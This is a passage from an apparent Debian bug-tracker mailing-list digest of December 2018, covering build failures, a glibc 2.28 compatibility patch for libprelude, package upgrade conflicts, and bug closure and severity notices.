https://antichat.com/threads/463395/#post-4254681
-- System Information:
Debian Release: 9.5
APT prefers stable-updates
APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386
Kernel: Linux 4.9.0-8-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8), LANGUAGE=en_US:en
(charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
Versions of packages php-imap depends on:
ii php-common 1:49
ii php7.0-imap 7.0.30-0+deb9u1
php-imap recommends no packages.
php-imap suggests no packages.
-- no debconf information
--- End Message ---
--- Begin Message ---
php7.2 has been removed from unstable, see #911673.
cu
Adrian
--
"Is there not promise of rain?" Ling Tan asked suddenly out
of the darkness. There had been need of rain for many days.
"Only a promise," Lao Er said.
Pearl S. Buck - Dragon Seed--- End Message ---
Bug#916181: marked as done (cpprest: missing build dependency on pkg-config)
Your message dated Wed, 12 Dec 2018 12:34:12 + with message-id and subject line Bug#916181: fixed in cpprest 2.10.8-2 has caused the Debian Bug report #916181, regarding cpprest: missing build dependency on pkg-config to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 916181: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916181 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: cpprest Version: 2.10.7-1 Severity: serious Tags: ftbfs https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/cpprest.html ... -- Could NOT find PkgConfig (missing: PKG_CONFIG_EXECUTABLE) CMake Error at Release/cmake/cpprest_find_brotli.cmake:13 (find_package): By not providing "Findunofficial-brotli.cmake" in CMAKE_MODULE_PATH this project has asked CMake to find a package configuration file provided by "unofficial-brotli", but CMake did not find one. Could not find a package configuration file provided by "unofficial-brotli" with any of the following names: unofficial-brotliConfig.cmake unofficial-brotli-config.cmake Add the installation prefix of "unofficial-brotli" to CMAKE_PREFIX_PATH or set "unofficial-brotli_DIR" to a directory containing one of the above files. If "unofficial-brotli" provides a separate development package or SDK, be sure it has been installed. Call Stack (most recent call first): Release/src/CMakeLists.txt:86 (cpprest_find_brotli) --- End Message --- --- Begin Message --- Source: cpprest Source-Version: 2.10.8-2 We believe that the bug you reported is fixed in the latest version of cpprest, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 916...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Gianfranco Costamagna (supplier of updated cpprest package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Format: 1.8 Date: Wed, 12 Dec 2018 13:22:42 +0100 Source: cpprest Binary: libcpprest2.10 libcpprest-dev libcpprest-doc Architecture: source Version: 2.10.8-2 Distribution: unstable Urgency: medium Maintainer: Gianfranco Costamagna Changed-By: Gianfranco Costamagna Description: libcpprest-dev - Development files for C++ REST SDK / Casablanca libcpprest-doc - Reference manual for C++ REST SDK / Casablanca libcpprest2.10 - Shared library for C++ REST SDK / Casablanca Closes: 916181 Changes: cpprest (2.10.8-2) unstable; urgency=medium . * Add missing pkg-config dependency, thanks Adrian Bunk! (Closes: #916181) Checksums-Sha1: 02590af8f55c94a400f9bf211521a1d5aea85828 2230 cpprest_2.10.8-2.dsc deb0a85745d1a17989c5a86e2397f4a4cac8c3e7 8560 cpprest_2.10.8-2.debian.tar.xz d60146b00643f1b34d375c0f61ad56ec94c1bfbe 10822 cpprest_2.10.8-2_source.buildinfo Checksums-Sha256: aeb3285d9abfbef79af208f00fc9504a7874276f3c3ab57d94b4031dc1dd9bf1 2230 cpprest_2.10.8-2.dsc 709d22cc605100f8e1c0f500233817363c07e6699c9e72a04e48e080df207440 8560 cpprest_2.10.8-2.debian.tar.xz 4241a393363410efb533e5de2f6d7b6e9240deeea0c300073e069c1ac88b9dd4 10822 cpprest_2.10.8-2_source.buildinfo Files: d1ae7cdf12f6cdc08b34dd26bc4c1c38 2230 libs optional cpprest_2.10.8-2.dsc 434e2f6f6b7dcadc6223e428c1806357 8560 libs optional cpprest_2.10.8-2.debian.tar.xz 59e2458dfa49e41a6ba087dd89ca5f9c 10822 libs optional cpprest_2.10.8-2_source.buildinfo -BEGIN PGP SIGNATURE- iQIzBAEBCAAdFiEEkpeKbhleSSGCX3/w808JdE6fXdkFAlwQ/cYACgkQ808JdE6f XdnumxAAywo3iPwiAmu12Azx8kGGyf8wa/GHfw6CR9WBE4+wksJLb75sCZcKrn2M 0u+2DTkLRhUA4H9vj3suTwzw5zPJZGInpf9y6WI+DqFPCdgnojx+7nsSO+KqmedS ThaUw468ua6ntRwO9kDpEDQfs1KXWImeklSqihIyLhUFPvy04AMnbllro9u6zAPe hHIH6gbMWmis9DHvxns6ElcIPop4UE39OUcEoGlaNjxV8MwNor2sHIyOpAruIEEZ lIRyzVvkrJHdlAzIS7pLzruSRI7hunSjeSUZWnqqacsQUJD49TeRddPF/mGQ94Si 2iWECcxg/0FqTUY40F0VGUxe+AsBsEzLFwpeIfeBjTP0AxS/tW6/VQUZqORT0fJu BzdlClBjin2y552GbOZjiWeDvi6naX20Go9Yx8ZD3S/Th1CKZBSNtexn7SnuZ9gP 1dWGBL7akrKm/7xLb1vkJO01EvqqPjvymQ1uuu7Dqr0TR7Ng+Hl5wxAMT6reyqw0 59ULm0Fev7crdwknxco/6vb/uuqw9U/6zwIZ1XZ/77jkbxAY79BnUFH+h2YtORtY wG7ONCKFzFAI0dVGAZDUcH/G7jdid6BZT2meN3WRJ3tk9XKyn2wqgXvDQpTtUIpL ++qXUqkNSlYTyznFCsSDTnHCEpnbU9JQnEzVUF2cUWtCh3TmtJY= =uebo -END PGP SIGNATURE End Message ---
Processed: tags 889297 wontfix
Processing commands for cont...@bugs.debian.org: > tags 889297 wontfix Bug #889297 [debops] debops: New upstream release v0.6.0 Added tag(s) wontfix. > tags 884639 wontfix Bug #884639 [debops] debops: Uninstallable due to debops-playbooks removal Added tag(s) wontfix. > thanks Stopping processing here. Please contact me if you need assistance. -- 884639: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=884639 889297: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889297 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#916272: cylc: binary-any FTBFS
Source: cylc Version: 7.8.0-1 Severity: serious Tags: ftbfs https://buildd.debian.org/status/package.php?p=cylc=sid ... # shipped separately find debian/python-cylc -name glyphicons-halflings-regular.ttf -delete mkdir -p debian/cylc/usr/share/cylc if test -f debian/python-cylc/usr/lib/python2.7/dist-packages/cylc/job.sh ; then \ mv debian/python-cylc/usr/lib/python2.7/dist-packages/cylc/job.sh debian/cylc/usr/share/cylc/job.sh ; \ chmod +x debian/cylc/usr/share/cylc/job.sh ; \ fi chmod +x debian/cylc/usr/share/bash-completion/completions/cylc-bash-completion chmod: cannot access 'debian/cylc/usr/share/bash-completion/completions/cylc-bash-completion': No such file or directory make[1]: *** [debian/rules:41: override_dh_fixperms] Error 1 This can be reproduced with dpkg-buildpackage -B
Bug#916262: staden-io-lib: data/xx#unsorted.sam fails randomly
On Wed, Dec 12, 2018 at 11:56:28AM +0100, Andreas Tille wrote: > besides the remaining build issues on some architectures there > is a new bug report about random failures. > > I hope you will have a clue about this. They all seem to be the same cause, which I haven't investigated yet. One solution is just to give up with auto-generating data and bundle a larger corpus of test data. The problem comes from the auto-generation step producing files of differing length. I hard coded the random number generator and also put the test system into serial mode so it cannot attempt to run multiple data generation steps in parallel, but it hasn't cured it. A simple method is probably the best way to go. James -- James Bonfield (j...@sanger.ac.uk) The Sanger Institute, Hinxton, Cambs, CB10 1SA -- The Wellcome Sanger Institute is operated by Genome Research Limited, a charity registered in England with number 1021457 and a company registered in England with number 2742969, whose registered office is 215 Euston Road, London, NW1 2BE.
Bug#916262: staden-io-lib: data/xx#unsorted.sam fails randomly
On Wed, Dec 12, 2018 at 11:48:30AM +, James Bonfield wrote: > A simple method is probably the best way to go. +1 Andreas. -- http://fam-tille.de
Bug#916257: marked as done (python3-gdbm: Python3 module doesn't load)
Your message dated Wed, 12 Dec 2018 12:58:23 +0100
with message-id
and subject line Re: Bug#916257: python3-gdbm: Python3 module doesn't load
has caused the Debian Bug report #916257,
regarding python3-gdbm: Python3 module doesn't load
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
916257: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916257
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: python3-gdbm
Version: 3.7.1-1
Severity: serious
Justification: doesn't work
Does not import with either py3.6 or py3.7.
strace shows that it doesn't even try to load the library.
smurf@dev:~$ sudo aptitude install python3-gdbm
[sudo] password for smurf:
The following NEW packages will be installed:
libgdbm6{a}
The following packages will be upgraded:
python3-gdbm
1 packages upgraded, 1 newly installed, 0 to remove and 298 not upgraded.
Need to get 0 B/79,9 kB of archives. After unpacking 136 kB will be used.
Do you want to continue? [Y/n/?]
[master 22871f5] saving uncommitted changes in /etc prior to apt run
Author: Matthias Urlichs
1 file changed, 4 insertions(+)
Selecting previously unselected package libgdbm6:amd64.
(Reading database ... 163593 files and directories currently installed.)
Preparing to unpack .../libgdbm6_1.18.1-2_amd64.deb ...
Unpacking libgdbm6:amd64 (1.18.1-2) ...
Preparing to unpack .../python3-gdbm_3.7.1-1_amd64.deb ...
Unpacking python3-gdbm:amd64 (3.7.1-1) over (3.6.6-1) ...
Setting up libgdbm6:amd64 (1.18.1-2) ...
Processing triggers for libc-bin (2.27-5) ...
Setting up python3-gdbm:amd64 (3.7.1-1) ...
Current status: 298 (-1) upgradable.
smurf@dev:~$ python3.7
Python 3.7.0+ (default, Aug 2 2018, 06:46:56)
[GCC 8.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import gdbm
Traceback (most recent call last):
File "", line 1, in
ModuleNotFoundError: No module named 'gdbm'
>>>
smurf@dev:~$ dpkg -L python3-gdbm
[…]
/usr/lib/python3.6/lib-dynload/_gdbm.cpython-36m-x86_64-linux-gnu.so
/usr/lib/python3.7/lib-dynload/_gdbm.cpython-37m-x86_64-linux-gnu.so
/usr/share/doc […]
-- System Information:
Debian Release: 9.5
APT prefers stable
APT policy: (800, 'stable'), (750, 'testing'), (700, 'unstable'), (200,
'experimental')
Architecture: amd64 (x86_64)
Kernel: Linux 4.17.0-1-amd64 (SMP w/8 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8),
LANGUAGE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
Versions of packages python3-gdbm depends on:
ii libc6 2.27-5
ii libgdbm6 1.18.1-2
ii python3 3.6.7-1
python3-gdbm recommends no packages.
Versions of packages python3-gdbm suggests:
pn python3-gdbm-dbg
-- no debconf information
--- End Message ---
--- Begin Message ---
On 12.12.18 08:56, Matthias Urlichs wrote:
> Package: python3-gdbm
> Version: 3.7.1-1
> Severity: serious
> Justification: doesn't work
>
> Does not import with either py3.6 or py3.7.
> strace shows that it doesn't even try to load the library.
yes, there is no gdbm module. Closing as invalid.--- End Message ---
Bug#916034: sl-modem-dkms: module FTBFS for 4.18.0-3-amd64, 4.9.0-8-amd64
On Sun, Dec 09, 2018 at 03:06:49PM +0100, Andreas Beckmann wrote: > old_st7554.c:49:10: fatal error: linux/init.h: No such file or directory > old_st7554.c:48:26: fatal error: linux/module.h: No such file or directory ---end quoted text--- Are you sure that you havethe appropriate linux headers package installed ? -- أحمد المحمودي (Ahmed El-Mahmoudy) Digital design engineer GPG KeyIDs: 4096R/A7EF5671 2048R/EDDDA1B7 GPG Fingerprints: 6E2E E4BB 72E2 F417 D066 6ABF 7B30 B496 A7EF 5761 8206 A196 2084 7E6D 0DF8 B176 BC19 6A94 EDDD A1B7 signature.asc Description: PGP signature
Bug#913179: marked as done (libprelude: FTBFS with glibc 2.28; cherrypicked patches attached)
Your message dated Wed, 12 Dec 2018 11:51:46 + with message-id and subject line Bug#913179: fixed in libprelude 4.1.0-4.2 has caused the Debian Bug report #913179, regarding libprelude: FTBFS with glibc 2.28; cherrypicked patches attached to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 913179: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=913179 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: libprelude Version: 4.1.0-4.1 Severity: normal Tags: patch User: ubuntu-de...@lists.ubuntu.com Usertags: origin-ubuntu disco ubuntu-patch In Ubuntu, the attached patch was applied to achieve the following: * 014-fix-glibc-gnulib.patch: Cherrypick gnulib fixes for glibc 2.28. This should be fairly self-explanatory. I cherrypicked the necessary fixes from gnulib git to fix the libprelude build with glibc 2.28, please consider including this in Debian before the glibc 2.28 transition makes this release-critical. ... Adam -- System Information: Debian Release: buster/sid APT prefers disco APT policy: (500, 'disco') Architecture: amd64 (x86_64) Foreign Architectures: i386 Kernel: Linux 4.18.0-10-lowlatency (SMP w/4 CPU cores; PREEMPT) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE=en_CA:en (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) LSM: AppArmor: enabled diff -Nru libprelude-4.1.0/debian/patches/014-fix-glibc-gnulib.patch libprelude-4.1.0/debian/patches/014-fix-glibc-gnulib.patch --- libprelude-4.1.0/debian/patches/014-fix-glibc-gnulib.patch 1969-12-31 17:00:00.0 -0700 +++ libprelude-4.1.0/debian/patches/014-fix-glibc-gnulib.patch 2018-11-03 12:04:48.0 -0600 @@ -0,0 +1,100 @@ +Description: Cherrypick gnulib fixes for glibc 2.28. +Author: Adam Conrad +Origin: http://git.savannah.gnu.org/gitweb/?p=gnulib.git;a=commit;h=4af4a4a71827c0bc5e0ec67af23edef4f15cee8e +Origin: http://git.savannah.gnu.org/gitweb/?p=gnulib.git;a=commit;h=74d9d6a293d7462dea8f83e7fc5ac792e956a0ad +Forwarded: not-needed +Last-Update: 2018-11-03 + +--- libprelude-4.1.0.orig/libmissing/fflush.c libprelude-4.1.0/libmissing/fflush.c +@@ -33,7 +33,8 @@ + #undef fflush + + +-#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */ ++#if defined _IO_EOF_SEEN || defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 ++/* GNU libc, BeOS, Haiku, Linux libc5 */ + + /* Clear the stream's ungetc buffer, preserving the value of ftello (fp). */ + static void +@@ -72,7 +73,8 @@ clear_ungetc_buffer (FILE *fp) + + #endif + +-#if ! (defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */) ++#if ! (defined _IO_EOF_SEEN || defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1) ++/* GNU libc, BeOS, Haiku, Linux libc5 */ + + # if (defined __sferror || defined __DragonFly__ || defined __ANDROID__) && defined __SNPT + /* FreeBSD, NetBSD, OpenBSD, DragonFly, Mac OS X, Cygwin, Minix 3, Android */ +@@ -148,7 +150,8 @@ rpl_fflush (FILE *stream) + if (stream == NULL || ! freading (stream)) + return fflush (stream); + +-#if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */ ++#if defined _IO_EOF_SEEN || defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 ++ /* GNU libc, BeOS, Haiku, Linux libc5 */ + + clear_ungetc_buffer_preserving_position (stream); + +--- libprelude-4.1.0.orig/libmissing/fpurge.c libprelude-4.1.0/libmissing/fpurge.c +@@ -62,7 +62,8 @@ fpurge (FILE *fp) + /* Most systems provide FILE as a struct and the necessary bitmask in + , because they need it for implementing getc() and putc() as + fast macros. */ +-# if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */ ++# if defined _IO_EOF_SEEN || defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 ++ /* GNU libc, BeOS, Haiku, Linux libc5 */ + fp->_IO_read_end = fp->_IO_read_ptr; + fp->_IO_write_ptr = fp->_IO_write_base; + /* Avoid memory leak when there is an active ungetc buffer. */ +--- libprelude-4.1.0.orig/libmissing/freading.c libprelude-4.1.0/libmissing/freading.c +@@ -31,7 +31,8 @@ freading (FILE *fp) + /* Most systems provide FILE as a struct and the necessary bitmask in + , because they need it for implementing getc() and putc() as + fast macros. */ +-# if defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 /* GNU libc, BeOS, Haiku, Linux libc5 */ ++# if defined _IO_EOF_SEEN || defined _IO_ftrylockfile || __GNU_LIBRARY__ == 1 ++ /* GNU libc, BeOS, Haiku, Linux
Bug#904396: marked as done (foma: fails to upgrade from 'sid' - trying to overwrite /usr/bin/cgflookup)
Your message dated Wed, 12 Dec 2018 11:50:38 + with message-id and subject line Bug#904396: fixed in foma 1:0.9.18+r243-5 has caused the Debian Bug report #904396, regarding foma: fails to upgrade from 'sid' - trying to overwrite /usr/bin/cgflookup to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 904396: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=904396 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: foma Version: 1:0.9.18~r248-1 Severity: serious User: debian...@lists.debian.org Usertags: piuparts Hi, during a test with piuparts I noticed your package fails to upgrade from 'sid' to 'experimental'. It installed fine in 'sid', then the upgrade to 'experimental' fails because it tries to overwrite other packages files without declaring a Breaks+Replaces relation. See policy 7.6 at https://www.debian.org/doc/debian-policy/#overwriting-files-and-replacing-packages-replaces >From the attached log (scroll to the bottom...): Preparing to unpack .../foma_1%3a0.9.18~r248-1_amd64.deb ... Unpacking foma (1:0.9.18~r248-1) ... dpkg: error processing archive /var/cache/apt/archives/foma_1%3a0.9.18~r248-1_amd64.deb (--unpack): trying to overwrite '/usr/bin/cgflookup', which is also in package foma-bin 0.9.18+r243-1+b3 dpkg-deb: error: paste subprocess was killed by signal (Broken pipe) Errors were encountered while processing: /var/cache/apt/archives/foma_1%3a0.9.18~r248-1_amd64.deb cheers, Andreas foma-bin=0.9.18+r243-1+b3_foma=1%0.9.18~r248-1.log.gz Description: application/gzip --- End Message --- --- Begin Message --- Source: foma Source-Version: 1:0.9.18+r243-5 We believe that the bug you reported is fixed in the latest version of foma, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 904...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Kartik Mistry (supplier of updated foma package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Format: 1.8 Date: Wed, 12 Dec 2018 09:44:42 +0530 Source: foma Binary: foma libfoma0 libfoma0-dev foma-bin libfoma-dev Architecture: source all amd64 Version: 1:0.9.18+r243-5 Distribution: unstable Urgency: low Maintainer: Debian Science Team Changed-By: Kartik Mistry Description: foma - Tools for constructing various finite-state automata foma-bin - Transitional package for foma libfoma-dev - Transitional package for libfoma0-dev libfoma0 - Foma runtime libraries libfoma0-dev - Foma development files Closes: 904396 Changes: foma (1:0.9.18+r243-5) unstable; urgency=low . * debian/control: + Add epoch in Breaks/Replaces (Closes: #904396). Thanks Andreas Beckmann. Checksums-Sha1: e85363e648b713924de9dd411d90e266c985d8a2 2284 foma_0.9.18+r243-5.dsc ab90fcbe3fb615f3f7ba32ec13610a1d3b70eb3c 3068 foma_0.9.18+r243-5.debian.tar.xz b9e35ef2368bc075b9e6e292fd6d0d4c2f8733b6 6084 foma-bin_0.9.18+r243-5_all.deb de2c995ff1a4b2c149322da29c60bf799388dfed 628528 foma-dbgsym_0.9.18+r243-5_amd64.deb db07afa53445c745df7b2a6a2aa40161c2923e52 7243 foma_0.9.18+r243-5_amd64.buildinfo b4b365e41b434e9ea242b09b93b0a6485519c77b 187888 foma_0.9.18+r243-5_amd64.deb 62e08b003ac1d469394e4772b9dc0b24b6221076 6096 libfoma-dev_0.9.18+r243-5_all.deb e6d12c753f7e0519a8d2bbf134d5e2ac21ecbffc 244056 libfoma0-dbgsym_0.9.18+r243-5_amd64.deb 90931045f3132e954c435d16f13d4f477de35655 12308 libfoma0-dev_0.9.18+r243-5_amd64.deb 77544c2288d2cddb0c23e23f5886732f901fd024 109784 libfoma0_0.9.18+r243-5_amd64.deb Checksums-Sha256: b61339a497e0722ac3ee41b60aa938ef42403b213e7a286c7f3058503663f182 2284 foma_0.9.18+r243-5.dsc 44dc435e2dc92477b105a634b486c11be5030e21b0dfa39a2f9662e0e1b28183 3068 foma_0.9.18+r243-5.debian.tar.xz dc4a6bffb4cfa54d295a59b0c2a0c1df82fdff27ea1ce8cf85acd811384473bb 6084 foma-bin_0.9.18+r243-5_all.deb a7703872a11c14634e1dc315ab00b3ff08fb54f41a723fe6705aad9098fe87d9 628528 foma-dbgsym_0.9.18+r243-5_amd64.deb 34e228c6aa999f7109b19064505a91e94d9f69f75a0ac53819b977b376d2d995 7243 foma_0.9.18+r243-5_amd64.buildinfo 035366ed1f8737a495282f9ea51faa9fce2726b6a44a00b711765f84933f1198 187888 foma_0.9.18+r243-5_amd64.deb
Processed: affects 915636
Processing commands for cont...@bugs.debian.org: > affects 915636 src:codespell Bug #915636 [python3-virtualenv] python3-virtualenv: incompatible with python3-pip 18.1 - AttributeError pip.main - please upgrade to 16.1.0 Added indication that 915636 affects src:codespell > thanks Stopping processing here. Please contact me if you need assistance. -- 915636: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=915636 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#916268: lastpass-cli: missing build dependency on pkg-config
Source: lastpass-cli Version: 1.3.1-5 Severity: serious Tags: ftbfs https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/lastpass-cli.html ... CMake Error at /usr/share/cmake-3.13/Modules/FindPackageHandleStandardArgs.cmake:137 (message): Could NOT find PkgConfig (missing: PKG_CONFIG_EXECUTABLE) Call Stack (most recent call first): /usr/share/cmake-3.13/Modules/FindPackageHandleStandardArgs.cmake:378 (_FPHSA_FAILURE_MESSAGE) /usr/share/cmake-3.13/Modules/FindPkgConfig.cmake:39 (find_package_handle_standard_args) CMakeLists.txt:8 (find_package)
Processed: Re: Bug#916267: libgtk-3-0: Cannot print to IPP printers from the GTK dialog
Processing control commands: > severity -1 important Bug #916267 [libgtk-3-0] libgtk-3-0: Cannot print to IPP printers from the GTK dialog Severity set to 'important' from 'grave' -- 916267: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916267 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#916267: libgtk-3-0: Cannot print to IPP printers from the GTK dialog
Control: severity -1 important On Wed, 12 Dec 2018 at 11:20:04 +, Brian Potkin wrote: > Justification: renders IPP printers unusable without other packages (CUPS and > cups-browsed) This sounds like an important bug, but it does not make GTK+ entirely useless (you can still use graphical applications that don't involve printing, or print via CUPS), so it isn't grave. > More detail is in the upstream bug report. Which upstream bug report? smcv
Bug#916267: libgtk-3-0: Cannot print to IPP printers from the GTK dialog
Package: libgtk-3-0 Version: 3.24.1-3 Severity: grave Tags: upstream Justification: renders IPP printers unusable without other packages (CUPS and cups-browsed) An IPP printer is allocated the destination "print" in the dialog and is tagged as "Rejecting Jobs". This is irrespective of whether its TXT record pdl key has application/PDF in it or not. Furthermore, the dialog seems incapable of displaying more than one entry for IPP printers on the network. More detail is in the upstream bug report. Regards, Brian.
Bug#916266: gringo FTBFS: symbol differences
Source: gringo Version: 5.3.0-4 Severity: serious Tags: ftbfs Some recent change in unstable makes gringo FTBFS: https://tests.reproducible-builds.org/debian/history/gringo.html https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/gringo.html ... dh_makeshlibs dpkg-gensymbols: warning: some new symbols appeared in the symbols file: see diff output below dpkg-gensymbols: error: some symbols or patterns disappeared in the symbols file: see diff output below dpkg-gensymbols: warning: debian/gringo/DEBIAN/symbols doesn't match completely debian/symbols --- debian/symbols (gringo_5.3.0-4_amd64) +++ dpkg-gensymbolsfvdYmA 2018-12-11 15:16:40.497532258 -1200 @@ -123,7 +123,7 @@ _ZNSt6vectorISt10unique_ptrIA_cSt14default_deleteIS1_EESaIS4_EE12emplace_backIJPcEEEvDpOT_@Base 5.3.0 (optional=templinst|arch=mips)_ZNSt6vectorISt4pairIPKciESaIS3_EE12emplace_backIJS3_EEEvDpOT_@Base 1 (optional=templinst)_ZNSt6vectorISt4pairIPKciESaIS3_EE17_M_realloc_insertIJS3_EEEvN9__gnu_cxx17__normal_iteratorIPS3_S5_EEDpOT_@Base 1 - (optional=templinst|arch=!x32)_ZNSt6vectorISt4pairIS0_IjjEjESaIS2_EE17_M_realloc_insertIJS1_RjEEEvN9__gnu_cxx17__normal_iteratorIPS2_S4_EEDpOT_@Base 1 +#MISSING: 5.3.0-4# (optional=templinst|arch=!x32)_ZNSt6vectorISt4pairIS0_IjjEjESaIS2_EE17_M_realloc_insertIJS1_RjEEEvN9__gnu_cxx17__normal_iteratorIPS2_S4_EEDpOT_@Base 1 (optional=templinst|arch=amd64 arm64 armel armhf hurd-i386 i386 kfreebsd-amd64 kfreebsd-i386 m68k mips mipsel powerpc powerpcspe ppc64 ppc64el s390x sh4 x32)_ZNSt6vectorISt4pairIiiESaIS1_EE17_M_realloc_insertIJRKiS6_EEEvN9__gnu_cxx17__normal_iteratorIPS1_S3_EEDpOT_@Base 1 (optional=templinst|arch=amd64 arm64 armel armhf hurd-i386 i386 kfreebsd-amd64 kfreebsd-i386 m68k mips mipsel powerpc powerpcspe ppc64 ppc64el s390x sh4 x32)_ZNSt6vectorISt4pairIiiESaIS1_EE17_M_realloc_insertIJiiEEEvN9__gnu_cxx17__normal_iteratorIPS1_S3_EEDpOT_@Base 1 (optional=templinst)_ZNSt6vectorISt4pairIijESaIS1_EE12emplace_backIJRS1_EEEvDpOT_@Base 1 @@ -179,7 +179,7 @@ (arch=!armel !riscv64)_ZTISt11_Mutex_baseILN9__gnu_cxx12_Lock_policyE2EE@Base 1 (arch=armel riscv64)_ZTISt16_Sp_counted_baseILN9__gnu_cxx12_Lock_policyE1EE@Base 1 (arch=!armel !riscv64)_ZTISt16_Sp_counted_baseILN9__gnu_cxx12_Lock_policyE2EE@Base 1 - _ZTISt19_Sp_make_shared_tag@Base 1 +#MISSING: 5.3.0-4# _ZTISt19_Sp_make_shared_tag@Base 1 (arch=armel riscv64)_ZTISt23_Sp_counted_ptr_inplaceIjSaIjELN9__gnu_cxx12_Lock_policyE1EE@Base 1 (arch=!armel !riscv64)_ZTISt23_Sp_counted_ptr_inplaceIjSaIjELN9__gnu_cxx12_Lock_policyE2EE@Base 1 (arch=armel riscv64)_ZTSN9__gnu_cxx7__mutexE@Base 1 @@ -196,6 +196,7 @@ _ZTVNSt6thread11_State_implINS_8_InvokerISt5tupleIJSt10mem_fun1_tIvN5Clasp2mt13ParallelSolveEjEPS6_jEE@Base 1 (arch=armel riscv64)_ZTVSt23_Sp_counted_ptr_inplaceIjSaIjELN9__gnu_cxx12_Lock_policyE1EE@Base 1 (arch=!armel !riscv64)_ZTVSt23_Sp_counted_ptr_inplaceIjSaIjELN9__gnu_cxx12_Lock_policyE2EE@Base 1 + _ZZNSt19_Sp_make_shared_tag5_S_tiEvE5__tag@Base 5.3.0-4 clingo_add_string@Base 1 clingo_assignment_decision@Base 1 clingo_assignment_decision_level@Base 1 dh_makeshlibs: failing due to earlier errors make: *** [debian/rules:58: binary] Error 2
Processed: picard-tools in buster FTBFS with htsjdk 2.16.1
Processing control commands: > fixed -1 2.18.14+dfsg-1 Bug #916265 [src:picard-tools] picard-tools in buster FTBFS with htsjdk 2.16.1 Marked as fixed in versions picard-tools/2.18.14+dfsg-1. > close -1 Bug #916265 [src:picard-tools] picard-tools in buster FTBFS with htsjdk 2.16.1 Marked Bug as done -- 916265: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916265 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#916265: picard-tools in buster FTBFS with htsjdk 2.16.1
